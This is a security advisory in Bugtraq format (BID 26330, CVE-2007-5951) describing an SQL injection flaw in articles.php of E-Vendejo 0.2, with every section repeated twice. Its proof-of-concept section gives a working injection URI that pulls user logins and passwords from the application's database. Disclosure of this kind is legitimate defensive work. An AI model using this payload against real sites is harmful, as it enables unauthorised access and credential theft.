E-Vendejo Articles.PHP SQL Injection Vulnerability
BID:26330
Info
E-Vendejo Articles.PHP SQL Injection Vulnerability
| Bugtraq ID: | 26330 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-5951 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 05 2007 12:00AM |
| Updated: | Nov 20 2007 11:24PM |
| Credit: | R00T[ATI] is credited with the discovery of this vulnerability. |
| Vulnerable: |
E-Vendejo E-Vendejo 0.2 |
| Not Vulnerable: | |
Discussion
E-Vendejo Articles.PHP SQL Injection Vulnerability
E-Vendejo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
E-Vendejo 0.2 is vulnerable; other versions may also be affected.
E-Vendejo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
E-Vendejo 0.2 is vulnerable; other versions may also be affected.
Exploit / POC
E-Vendejo Articles.PHP SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/articles.php?lingvo=ca&id=10 UNION ALL SELECT null,null,concat(usr_login,0x23,usr_pass),null,null FROM usuaris/*
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/articles.php?lingvo=ca&id=10 UNION ALL SELECT null,null,concat(usr_login,0x23,usr_pass),null,null FROM usuaris/*
Solution / Fix
E-Vendejo Articles.PHP SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].